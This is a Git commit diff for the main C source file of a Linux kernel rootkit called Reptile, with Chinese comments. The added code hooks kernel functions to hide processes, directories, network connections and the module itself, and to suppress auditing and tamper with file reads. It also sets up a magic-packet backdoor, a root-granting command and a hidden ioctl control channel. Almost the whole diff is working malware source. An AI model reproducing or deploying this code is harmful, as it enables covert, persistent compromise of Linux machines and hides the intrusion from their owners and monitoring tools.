main文件丢失修复

main^2
waiwai 2 months ago
parent b96d18c90c
commit 14d85647fc

@ -1,201 +1,478 @@
#include <linux/module.h> // 包含内核模块相关的头文件
#include <linux/version.h> // 包含内核版本相关的头文件
#include <linux/module.h>
#include <linux/version.h>
#include "khook/engine.c" // 包含khook引擎的实现文件
#include "config.h" // 包含配置文件
#include "util.h" // 包含工具函数文件
#include "khook/engine.c"
#include "config.h"
#include "util.h"
#ifdef CONFIG_AUTO_HIDE
# include "module.h" // 如果启用了自动隐藏配置,包含模块相关的头文件
# include "module.h"
#endif
int hidden = 1; // 定义一个隐藏标志变量初始值为1
int hidden = 1;
/* ------------------------ HIDE PROCESS ------------------------- */
/* ------------------------ 隐藏进程 ------------------------- */
#ifdef CONFIG_HIDE_PROC // 如果启用了隐藏进程配置
#ifdef CONFIG_HIDE_PROC
#include <linux/audit.h> // 包含审计相关的头文件
#include "proc.h" // 包含进程相关的头文件
#include <linux/audit.h>
#include "proc.h"
KHOOK(copy_creds); // 声明一个钩子函数,用于拷贝凭据
KHOOK(copy_creds);
static int khook_copy_creds(struct task_struct *p, unsigned long clone_flags)
{
int ret = 0;
ret = KHOOK_ORIGIN(copy_creds, p, clone_flags); // 调用原始的copy_creds函数
if (!ret && is_task_invisible(current)) // 如果当前任务是不可见的
p->flags |= FLAG; // 设置任务的标志位
ret = KHOOK_ORIGIN(copy_creds, p, clone_flags);
if (!ret && is_task_invisible(current))
p->flags |= FLAG; // 如果任务不可见,设置标志
return ret;
}
KHOOK(exit_creds); // 声明一个钩子函数,用于退出凭据
KHOOK(exit_creds);
static void khook_exit_creds(struct task_struct *p)
{
KHOOK_ORIGIN(exit_creds, p); // 调用原始的exit_creds函数
if (is_task_invisible(p)) // 如果任务是不可见的
p->flags &= ~FLAG; // 清除任务的标志位
KHOOK_ORIGIN(exit_creds, p);
if (is_task_invisible(p))
p->flags &= ~FLAG; // 如果任务不可见,清除标志
}
KHOOK(audit_alloc); // 声明一个钩子函数,用于分配审计
KHOOK(audit_alloc);
static int khook_audit_alloc(struct task_struct *t)
{
int err = 0;
if (is_task_invisible(t)) { // 如果任务是不可见的
clear_tsk_thread_flag(t, TIF_SYSCALL_AUDIT); // 清除系统调用审计标志
if (is_task_invisible(t)) {
clear_tsk_thread_flag(t, TIF_SYSCALL_AUDIT); // 如果任务不可见,清除系统调用审计标志
} else {
err = KHOOK_ORIGIN(audit_alloc, t); // 调用原始的audit_alloc函数
err = KHOOK_ORIGIN(audit_alloc, t);
}
return err;
}
KHOOK(find_task_by_vpid); // 声明一个钩子函数用于通过vpid查找任务
KHOOK(find_task_by_vpid);
struct task_struct *khook_find_task_by_vpid(pid_t vnr)
{
struct task_struct *tsk = NULL;
tsk = KHOOK_ORIGIN(find_task_by_vpid, vnr); // 调用原始的find_task_by_vpid函数
if (tsk && is_task_invisible(tsk) && !is_task_invisible(current)) // 如果任务是不可见的且当前任务是可见的
tsk = NULL; // 将任务设置为NULL
tsk = KHOOK_ORIGIN(find_task_by_vpid, vnr);
if (tsk && is_task_invisible(tsk) && !is_task_invisible(current))
tsk = NULL; // 如果任务不可见且当前任务可见,返回NULL
return tsk;
}
KHOOK_EXT(int, vfs_statx, int, const char __user *, int, struct kstat *, u32); // 声明一个扩展钩子函数用于vfs_statx
KHOOK_EXT(int, vfs_statx, int, const char __user *, int, struct kstat *, u32);
static int khook_vfs_statx(int dfd, const char __user *filename, int flags, struct kstat *stat,
u32 request_mask)
{
if (is_proc_invisible_2(filename)) // 如果文件名对应的进程是不可见的
return -EINVAL; // 返回无效参数错误
if (is_proc_invisible_2(filename))
return -EINVAL; // 如果进程不可见,返回无效参数错误
return KHOOK_ORIGIN(vfs_statx, dfd, filename, flags, stat, request_mask); // 调用原始的vfs_statx函数
return KHOOK_ORIGIN(vfs_statx, dfd, filename, flags, stat, request_mask);
}
KHOOK_EXT(long, sys_kill, long, long); // 声明一个扩展钩子函数用于sys_kill
KHOOK_EXT(long, sys_kill, long, long);
static long khook_sys_kill(long pid, long sig) {
if (sig == 0) {
if (is_proc_invisible(pid)) { // 如果进程是不可见的
return -ESRCH; // 返回无此进程错误
if (is_proc_invisible(pid)) {
return -ESRCH; // 如果进程不可见,返回无此进程错误
}
}
return KHOOK_ORIGIN(sys_kill, pid, sig); // 调用原始的sys_kill函数
return KHOOK_ORIGIN(sys_kill, pid, sig);
}
KHOOK_EXT(long, __x64_sys_kill, const struct pt_regs *); // 声明一个扩展钩子函数用于__x64_sys_kill
KHOOK_EXT(long, __x64_sys_kill, const struct pt_regs *);
static long khook___x64_sys_kill(const struct pt_regs *regs) {
if (regs->si == 0) {
if (is_proc_invisible(regs->di)) { // 如果进程是不可见的
return -ESRCH; // 返回无此进程错误
if (is_proc_invisible(regs->di)) {
return -ESRCH; // 如果进程不可见,返回无此进程错误
}
}
return KHOOK_ORIGIN(__x64_sys_kill, regs); // 调用原始的__x64_sys_kill函数
return KHOOK_ORIGIN(__x64_sys_kill, regs);
}
KHOOK_EXT(struct tgid_iter, next_tgid, struct pid_namespace *, struct tgid_iter); // 声明一个扩展钩子函数用于next_tgid
KHOOK_EXT(struct tgid_iter, next_tgid, struct pid_namespace *, struct tgid_iter);
static struct tgid_iter khook_next_tgid(struct pid_namespace *ns, struct tgid_iter iter)
{
if (hidden) { // 如果隐藏标志为真
while ((iter = KHOOK_ORIGIN(next_tgid, ns, iter), iter.task) != NULL) { // 调用原始的next_tgid函数
if (!(iter.task->flags & FLAG)) // 如果任务没有隐藏标志
break;
if (hidden) {
while ((iter = KHOOK_ORIGIN(next_tgid, ns, iter), iter.task) != NULL) {
if (!(iter.task->flags & FLAG))
break; // 跳过不可见任务
iter.tgid++; // 增加tgid
iter.tgid++;
}
} else {
iter = KHOOK_ORIGIN(next_tgid, ns, iter); // 调用原始的next_tgid函数
iter = KHOOK_ORIGIN(next_tgid, ns, iter);
}
return iter;
}
#endif
/* ------------------------- HIDE DIR --------------------------- */
/* ------------------------- 隐藏目录 --------------------------- */
#ifdef CONFIG_HIDE_DIR // 如果启用了隐藏目录配置
#ifdef CONFIG_HIDE_DIR
#include <linux/dcache.h> // 包含目录缓存相关的头文件
#include "dir.h" // 包含目录相关的头文件
#include <linux/dcache.h>
#include "dir.h"
/* Can you see a little problem on those hooks? This is not the best
* way to do this feature, but I am going to keep it this way, after all,
* this is just a public project, isn't it?
*/
KHOOK_EXT(int, fillonedir, void *, const char *, int, loff_t, u64, unsigned int); // 声明一个扩展钩子函数用于fillonedir
/* 这些钩子有点问题,但它们能工作,也许将来会改进 */
KHOOK_EXT(int, fillonedir, void *, const char *, int, loff_t, u64, unsigned int);
static int khook_fillonedir(void *__buf, const char *name, int namlen,
loff_t offset, u64 ino, unsigned int d_type)
{
int ret = -ENOENT;
if (!strstr(name, HIDE) || !hidden) // 如果目录名不包含隐藏标志或隐藏标志为假
ret = KHOOK_ORIGIN(fillonedir, __buf, name, namlen, offset, ino, d_type); //
if (!strstr(name, HIDE) || !hidden)
ret = KHOOK_ORIGIN(fillonedir, __buf, name, namlen, offset, ino, d_type);
return ret;
}
KHOOK_EXT(int, filldir, void *, const char *, int, loff_t, u64, unsigned int); // 声明一个扩展钩子函数用于filldir
KHOOK_EXT(int, filldir, void *, const char *, int, loff_t, u64, unsigned int);
static int khook_filldir(void *__buf, const char *name, int namlen,
loff_t offset, u64 ino, unsigned int d_type)
{
int ret = -ENOENT; // 初始化返回值为-ENOENT
if (!strstr(name, HIDE) || !hidden) // 如果目录名不包含隐藏标志或隐藏标志为假
ret = KHOOK_ORIGIN(filldir, __buf, name, namlen, offset, ino, d_type); // 调用原始的filldir函数
return ret; // 返回结果
int ret = -ENOENT;
if (!strstr(name, HIDE) || !hidden)
ret = KHOOK_ORIGIN(filldir, __buf, name, namlen, offset, ino, d_type);
return ret;
}
KHOOK_EXT(int, filldir64, void *, const char *, int, loff_t, u64, unsigned int); // 声明一个扩展钩子函数用于filldir64
KHOOK_EXT(int, filldir64, void *, const char *, int, loff_t, u64, unsigned int);
static int khook_filldir64(void *__buf, const char *name, int namlen,
loff_t offset, u64 ino, unsigned int d_type)
{
int ret = -ENOENT; // 初始化返回值为-ENOENT
if (!strstr(name, HIDE) || !hidden) // 如果目录名不包含隐藏标志或隐藏标志为假
ret = KHOOK_ORIGIN(filldir64, __buf, name, namlen, offset, ino, d_type); // 调用原始的filldir64函数
return ret; // 返回结果
int ret = -ENOENT;
if (!strstr(name, HIDE) || !hidden)
ret = KHOOK_ORIGIN(filldir64, __buf, name, namlen, offset, ino, d_type);
return ret;
}
KHOOK_EXT(int, compat_fillonedir, void *, const char *, int, loff_t, u64, unsigned int); // 声明一个扩展钩子函数用于compat_fillonedir
KHOOK_EXT(int, compat_fillonedir, void *, const char *, int, loff_t, u64, unsigned int);
static int khook_compat_fillonedir(void *__buf, const char *name, int namlen,
loff_t offset, u64 ino, unsigned int d_type)
{
int ret = -ENOENT; // 初始化返回值为-ENOENT
if (!strstr(name, HIDE) || !hidden) // 如果目录名不包含隐藏标志或隐藏标志为假
ret = KHOOK_ORIGIN(compat_fillonedir, __buf, name, namlen, offset, ino, d_type); // 调用原始的compat_fillonedir函数
return ret; // 返回结果
int ret = -ENOENT;
if (!strstr(name, HIDE) || !hidden)
ret = KHOOK_ORIGIN(compat_fillonedir, __buf, name, namlen, offset, ino, d_type);
return ret;
}
KHOOK_EXT(int, compat_filldir, void *, const char *, int, loff_t, u64, unsigned int); // 声明一个扩展钩子函数用于compat_filldir
KHOOK_EXT(int, compat_filldir, void *, const char *, int, loff_t, u64, unsigned int);
static int khook_compat_filldir(void *__buf, const char *name, int namlen,
loff_t offset, u64 ino, unsigned int d_type)
{
int ret = -ENOENT; // 初始化返回值为-ENOENT
if (!strstr(name, HIDE) || !hidden) // 如果目录名不包含隐藏标志或隐藏标志为假
ret = KHOOK_ORIGIN(compat_filldir, __buf, name, namlen, offset, ino, d_type); // 调用原始的compat_filldir函数
return ret; // 返回结果
int ret = -ENOENT;
if (!strstr(name, HIDE) || !hidden)
ret = KHOOK_ORIGIN(compat_filldir, __buf, name, namlen, offset, ino, d_type);
return ret;
}
#if LINUX_VERSION_CODE < KERNEL_VERSION(4, 12, 0)
KHOOK_EXT(int, compat_filldir64, void *buf, const char *, int, loff_t, u64, unsigned int); // 声明一个扩展钩子函数用于compat_filldir64
KHOOK_EXT(int, compat_filldir64, void *buf, const char *, int, loff_t, u64, unsigned int);
static int khook_compat_filldir64(void *__buf, const char *name, int namlen,
loff_t offset, u64 ino, unsigned int d_type)
{
int ret = -ENOENT; // 初始化返回值为-ENOENT
if (!strstr(name, HIDE) || !hidden) // 如果目录名不包含隐藏标志或隐藏标志为假
ret = KHOOK_ORIGIN(compat_filldir64, __buf, name, namlen, offset, ino, d_type); // 调用原始的compat_filldir64函数
return ret; // 返回结果
int ret = -ENOENT;
if (!strstr(name, HIDE) || !hidden)
ret = KHOOK_ORIGIN(compat_filldir64, __buf, name, namlen, offset, ino, d_type);
return ret;
}
#endif
#if LINUX_VERSION_CODE >= KERNEL_VERSION(3, 9, 0)
KHOOK_EXT(struct dentry *, __d_lookup, const struct dentry *, const struct qstr *); // 声明一个扩展钩子函数用于__d_lookup
KHOOK_EXT(struct dentry *, __d_lookup, const struct dentry *, const struct qstr *);
struct dentry *khook___d_lookup(const struct dentry *parent, const struct qstr *name)
#else
KHOOK_EXT(struct dentry *, __d_lookup, struct dentry *, struct qstr *); // 声明一个扩展钩子函数用于__d_lookup
KHOOK_EXT(struct dentry *, __d_lookup, struct dentry *, struct qstr *);
struct dentry *khook___d_lookup(struct dentry *parent, struct qstr *name)
#endif
{
struct dentry *found = NULL; // 初始化找到的目录项为NULL
if (!strstr(name->name, HIDE) || !hidden) // 如果目录名不包含隐藏标志或隐藏标志为假
found = KHOOK_ORIGIN(__d_lookup, parent, name); // 调用原始的__d_lookup函数
return found; // 返回找到的目录项
struct dentry *found = NULL;
if (!strstr(name->name, HIDE) || !hidden)
found = KHOOK_ORIGIN(__d_lookup, parent, name);
return found;
}
#endif
/* --------------------- 文件内容篡改 --------------------- */
#ifdef CONFIG_FILE_TAMPERING
#include "file.h"
atomic_t read_on;
int file_tampering_flag = 0;
// 这不是最好的方法,但它有效,也许将来会改进
KHOOK_EXT(ssize_t, vfs_read, struct file *, char __user *, size_t, loff_t *);
static ssize_t khook_vfs_read(struct file *file, char __user *buf,
size_t count, loff_t *pos)
{
ssize_t ret;
atomic_set(&read_on, 1);
ret = KHOOK_ORIGIN(vfs_read, file, buf, count, pos);
if (file_tampering_flag) {
if (file_check(buf, ret) == 1)
ret = hide_content(buf, ret);
}
atomic_set(&read_on, 0);
return ret;
}
#endif
/* ------------------------ 隐藏连接 ------------------------- */
#ifdef CONFIG_HIDE_CONN
#include <net/inet_sock.h>
#include <linux/seq_file.h>
#include "network.h"
LIST_HEAD(hidden_conn_list);
KHOOK_EXT(int, tcp4_seq_show, struct seq_file *, void *);
static int khook_tcp4_seq_show(struct seq_file *seq, void *v)
{
int ret;
struct sock *sk = v;
struct inet_sock *inet;
struct hidden_conn *hc;
unsigned int daddr;
//unsigned short dport;
if (v == SEQ_START_TOKEN) {
goto origin;
}
inet = (struct inet_sock *)sk;
#if LINUX_VERSION_CODE >= KERNEL_VERSION(2, 6, 33)
daddr = inet->inet_daddr;
//dport = inet->inet_dport;
#else
daddr = inet->daddr;
//dport = inet->dport;
#endif
list_for_each_entry(hc, &hidden_conn_list, list)
{
if (hc->addr.sin_addr.s_addr == daddr /* && hc->addr.sin_port == dport */) {
ret = 0;
goto out;
}
}
origin:
ret = KHOOK_ORIGIN(tcp4_seq_show, seq, v);
out:
return ret;
}
KHOOK_EXT(int, udp4_seq_show, struct seq_file *, void *);
static int khook_udp4_seq_show(struct seq_file *seq, void *v)
{
int ret;
struct sock *sk = v;
struct inet_sock *inet;
struct hidden_conn *hc;
unsigned int daddr;
//unsigned short dport;
if (v == SEQ_START_TOKEN) {
goto origin;
}
inet = (struct inet_sock *)sk;
#if LINUX_VERSION_CODE >= KERNEL_VERSION(2, 6, 33)
daddr = inet->inet_daddr;
//dport = inet->inet_dport;
#else
daddr = inet->daddr;
//dport = inet->dport;
#endif
list_for_each_entry(hc, &hidden_conn_list, list)
{
if (hc->addr.sin_addr.s_addr == daddr /* && hc->addr.sin_port == dport */) {
ret = 0;
goto out;
}
}
origin:
ret = KHOOK_ORIGIN(udp4_seq_show, seq, v);
out:
return ret;
}
#endif
/* ----------------------------- 后门 ----------------------------- */
#ifdef CONFIG_BACKDOOR
#include <linux/netdevice.h>
#include "backdoor.h"
KHOOK_EXT(int, ip_rcv, struct sk_buff *, struct net_device *, struct packet_type *, struct net_device *);
static int khook_ip_rcv(struct sk_buff *skb, struct net_device *dev, struct packet_type *pt,
struct net_device *orig_dev)
{
if (magic_packet_parse(skb))
return KHOOK_ORIGIN(ip_rcv, skb, dev, pt, orig_dev);
return 0;
}
#endif
/* ------------------------------ 通用 ----------------------------- */
#if defined(CONFIG_HIDE_PROC) && defined(CONFIG_BACKDOOR)
#include <linux/binfmts.h>
KHOOK_EXT(int, load_elf_binary, struct linux_binprm *);
static int khook_load_elf_binary(struct linux_binprm *bprm)
{
int ret = KHOOK_ORIGIN(load_elf_binary, bprm);
if (!ret && !strcmp(bprm->filename, SHELL_PATH))
flag_tasks(current->pid, 1);
return ret;
}
#endif
/* ------------------------------- 控制 ----------------------------- */
#include <linux/net.h>
#include <linux/in.h>
#include <linux/uaccess.h>
int control_flag = 0;
struct control {
unsigned short cmd;
void *argv;
};
KHOOK_EXT(int, inet_ioctl, struct socket *, unsigned int, unsigned long);
static int khook_inet_ioctl(struct socket *sock, unsigned int cmd,
unsigned long arg)
{
int ret = 0;
unsigned int pid;
struct control args;
struct sockaddr_in addr;
if (cmd == AUTH && arg == HTUA) {
if (control_flag) {
control_flag = 0;
} else {
control_flag = 1;
}
goto out;
}
if (control_flag && cmd == AUTH) {
if (copy_from_user(&args, (void *)arg, sizeof(args)))
goto out;
switch (args.cmd) {
case 0:
#ifdef CONFIG_AUTO_HIDE
hide_module();
#endif
flip_hidden_flag();
break;
case 1:
if (copy_from_user(&pid, args.argv, sizeof(unsigned int)))
goto out;
#ifdef CONFIG_HIDE_PROC
hide_proc(pid);
#endif
break;
case 2:
#ifdef CONFIG_FILE_TAMPERING
file_tampering();
#endif
break;
case 3:
#ifdef CONFIG_GIVE_ROOT
get_root();
#endif
break;
case 4:
if (copy_from_user(&addr, args.argv, sizeof(struct sockaddr_in)))
goto out;
#ifdef CONFIG_HIDE_CONN
network_hide_add(addr);
#endif
break;
case 5:
if (copy_from_user(&addr, args.argv, sizeof(struct sockaddr_in)))
goto out;
#ifdef CONFIG_HIDE_CONN
network_hide_remove(addr);
#endif
break;
default:
goto origin;
}
goto out;
}
origin:
ret = KHOOK_ORIGIN(inet_ioctl, sock, cmd, arg);
out:
return ret;
}
/* ------------------------------------------------------------------ */
static int __init reptile_init(void)
{
int ret;
#ifdef CONFIG_FILE_TAMPERING
/* 不幸的是,我需要使用这个来确保在某些内核版本中
* khook
* vfs_read
*/
atomic_set(&read_on, 0);
#endif
ret = khook_init();
if (ret < 0)
return ret;
#ifdef CONFIG_AUTO_HIDE
hide_module();
#endif
run_cmd(START_SCRIPT);
return ret;
}
static void __exit reptile_exit(void)
{
#ifdef CONFIG_FILE_TAMPERING
while(atomic_read(&read_on) != 0) schedule();
#endif
khook_cleanup();
}
module_init(reptile_init);
module_exit(reptile_exit);
MODULE_LICENSE("GPL");

Loading…
Cancel
Save